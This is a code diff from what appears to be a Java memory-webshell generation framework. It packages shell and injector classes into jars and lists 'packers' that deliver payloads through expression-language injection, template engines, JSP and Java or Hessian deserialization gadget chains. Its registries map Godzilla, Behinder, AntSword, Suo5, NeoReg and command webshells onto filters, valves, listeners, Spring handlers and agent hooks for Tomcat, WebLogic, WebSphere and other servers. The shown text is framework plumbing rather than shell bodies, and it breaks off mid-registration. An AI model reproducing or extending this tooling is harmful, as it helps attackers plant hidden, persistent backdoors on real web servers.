||||||
|
@Builder(builderClassName = "Builder")
|
||||||
|
public class MemShellResult {
|
||||||
|
private String shellClassName;
|
||||||
|
private transient byte[] shellBytes;
|
||||||
|
private long shellSize;
|
||||||
|
private String shellBytesBase64Str;
|
||||||
|
private String injectorClassName;
|
||||||
|
private transient byte[] injectorBytes;
|
||||||
|
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||||
|
private long injectorSize;
|
||||||
|
private String injectorBytesBase64Str;
|
||||||
|
private ShellConfig shellConfig;
|
||||||
|
private ShellToolConfig shellToolConfig;
|
||||||
|
private InjectorConfig injectorConfig;
|
||||||
|
|
||||||
|
public static class Builder {
|
||||||
|
public MemShellResult build() {
|
||||||
|
if (shellBytes != null) {
|
||||||
|
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||||
|
shellSize = shellBytes.length;
|
||||||
|
}
|
||||||
|
if (injectorBytes != null) {
|
||||||
|
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||||
|
injectorSize = injectorBytes.length;
|
||||||
|
}
|
||||||
|
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
|
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public JarPackerConfig toJarPackerConfig() {
|
||||||
|
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||||
|
jarPackerConfig.setMainClassName(injectorClassName);
|
||||||
|
Map<String, byte[]> bytes = new HashMap<>();
|
||||||
|
bytes.put(shellClassName, shellBytes);
|
||||||
|
bytes.put(injectorClassName, injectorBytes);
|
||||||
|
if (injectorInnerClassBytes != null) {
|
||||||
|
bytes.putAll(injectorInnerClassBytes);
|
||||||
|
}
|
||||||
|
jarPackerConfig.setClassBytes(bytes);
|
||||||
|
return jarPackerConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassPackerConfig toClassPackerConfig() {
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassName(injectorClassName);
|
||||||
|
classPackerConfig.setClassBytes(injectorBytes);
|
||||||
|
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||||
|
if (shellConfig != null) {
|
||||||
|
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||||
|
}
|
||||||
|
return classPackerConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,139 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
|
||||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Objects;
|
|
||||||
import java.util.stream.Collectors;
|
|
||||||
import java.util.stream.Stream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/23
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum Packers {
|
|
||||||
/**
|
|
||||||
* Base64
|
|
||||||
*/
|
|
||||||
Base64(new Base64Packer()),
|
|
||||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
|
||||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
|
||||||
|
|
||||||
Jar(new DefaultJarPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* BCEL
|
|
||||||
*/
|
|
||||||
BCEL(new BCELPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* JSP 打包器
|
|
||||||
*/
|
|
||||||
JSP(new JspPacker()),
|
|
||||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
|
||||||
JSPX(new JspxPacker(), JspPacker.class),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 脚本引擎打包器
|
|
||||||
*/
|
|
||||||
ScriptEngine(new ScriptEnginePacker()),
|
|
||||||
Rhino(new RhinoPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* EL
|
|
||||||
*/
|
|
||||||
EL(new ELPacker()),
|
|
||||||
OGNL(new OGNLPacker()),
|
|
||||||
MVEL(new MVELPacker()),
|
|
||||||
Aviator(new AviatorPacker()),
|
|
||||||
JXPath(new JXPathPacker()),
|
|
||||||
JEXL(new JEXLPacker()),
|
|
||||||
BeanShell(new BeanShellPacker()),
|
|
||||||
|
|
||||||
SpEL(new SpELPacker()),
|
|
||||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
|
||||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
|
||||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
|
||||||
|
|
||||||
Groovy(new GroovyPacker()),
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
|
||||||
Velocity(new VelocityPacker()),
|
|
||||||
JinJava(new JinJavaPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Java 反序列化打包器
|
|
||||||
*/
|
|
||||||
JavaDeserialize(new JavaDeserializePacker()),
|
|
||||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian 反序列化打包器
|
|
||||||
*/
|
|
||||||
Hessian2Deserialize(new Hessian2Packer()),
|
|
||||||
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
|
||||||
|
|
||||||
HessianDeserialize(new HessianPacker()),
|
|
||||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
|
||||||
;
|
|
||||||
private final Packer instance;
|
|
||||||
private Class<?> parentPacker = null;
|
|
||||||
|
|
||||||
Packers(Packer instance) {
|
|
||||||
this.instance = instance;
|
|
||||||
}
|
|
||||||
|
|
||||||
Packers(Packer instance, Class<?> parentPacker) {
|
|
||||||
this.instance = instance;
|
|
||||||
this.parentPacker = parentPacker;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Packer getPacker(Packers packerType) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
|
||||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,248 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
|
||||||
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/22
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum Server {
|
|
||||||
/**
|
|
||||||
* Tomcat 中间件
|
|
||||||
*/
|
|
||||||
Tomcat(new TomcatShell()),
|
|
||||||
/**
|
|
||||||
* Jetty 中间件
|
|
||||||
*/
|
|
||||||
Jetty(new JettyShell()),
|
|
||||||
/**
|
|
||||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
|
||||||
*/
|
|
||||||
JBossAS(new JbossShell()),
|
|
||||||
JBossEAP6(new JbossShell()),
|
|
||||||
/**
|
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
|
||||||
*/
|
|
||||||
Undertow(new UndertowShell()),
|
|
||||||
JBossEAP7(new UndertowShell()),
|
|
||||||
WildFly(new UndertowShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* SpringMVC 框架
|
|
||||||
*/
|
|
||||||
SpringWebMvc(new SpringWebMvcShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Spring WebFlux 框架
|
|
||||||
*/
|
|
||||||
SpringWebFlux(new SpringWebFluxShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebSphere 中间件
|
|
||||||
*/
|
|
||||||
WebSphere(new WebSphereShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebLogic 中间件
|
|
||||||
*/
|
|
||||||
WebLogic(new WebLogicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
|
||||||
*/
|
|
||||||
Resin(new ResinShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* GlassFish 中间件
|
|
||||||
*/
|
|
||||||
GlassFish(new GlassFishShell()),
|
|
||||||
Payara(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 宝兰德中间件
|
|
||||||
*/
|
|
||||||
BES(new BesShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 东方通中间件
|
|
||||||
*/
|
|
||||||
TongWeb6(new TongWeb6Shell()),
|
|
||||||
TongWeb7(new TongWeb7Shell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 金蝶天燕中间件
|
|
||||||
*/
|
|
||||||
Apusic(new ApusicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 中创中间件
|
|
||||||
*/
|
|
||||||
InforSuite(new InforSuiteShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* XXL-JOB
|
|
||||||
*/
|
|
||||||
XXLJOB(new XxlJobShell())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final AbstractShell shell;
|
|
||||||
|
|
||||||
Server(AbstractShell shell) {
|
|
||||||
this.shell = shell;
|
|
||||||
}
|
|
||||||
|
|
||||||
static {
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(VALVE, CommandValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
|
||||||
.addShellClass(FILTER, GodzillaFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
|
||||||
.addShellClass(LISTENER, GodzillaListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
|
||||||
.addShellClass(VALVE, GodzillaValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
|
||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, BehinderServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
|
||||||
.addShellClass(FILTER, BehinderFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
|
||||||
.addShellClass(LISTENER, BehinderListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
|
||||||
.addShellClass(VALVE, BehinderValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
|
||||||
.addShellClass(FILTER, Suo5Filter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
|
||||||
.addShellClass(LISTENER, Suo5Listener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
|
||||||
.addShellClass(VALVE, Suo5Valve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
|
||||||
.addShellClass(FILTER, AntSwordFilter.class)
|
|
||||||
.addShellClass(LISTENER, AntSwordListener.class)
|
|
||||||
.addShellClass(VALVE, AntSwordValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,248 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.concurrent.CopyOnWriteArrayList;
|
||||||
|
import java.util.function.Supplier;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/11
|
||||||
|
*/
|
||||||
|
public class ServerFactory {
|
||||||
|
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
|
||||||
|
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
|
||||||
|
private static final List<String> servers = new CopyOnWriteArrayList<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
register(Server.Tomcat, Tomcat::new);
|
||||||
|
register(Server.Jetty, Jetty::new);
|
||||||
|
register(Server.Undertow, Undertow::new);
|
||||||
|
register(Server.JBoss, Jboss::new);
|
||||||
|
register(Server.Resin, Resin::new);
|
||||||
|
register(Server.WebLogic, WebLogic::new);
|
||||||
|
register(Server.WebSphere, WebSphere::new);
|
||||||
|
register(Server.GlassFish, GlassFish::new);
|
||||||
|
register(Server.TongWeb, TongWeb::new);
|
||||||
|
register(Server.BES, Bes::new);
|
||||||
|
register(Server.InforSuite, InforSuite::new);
|
||||||
|
register(Server.Apusic, Apusic::new);
|
||||||
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||||
|
.addShellClass(FILTER, GodzillaFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||||
|
.addShellClass(LISTENER, GodzillaListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||||
|
.addShellClass(VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
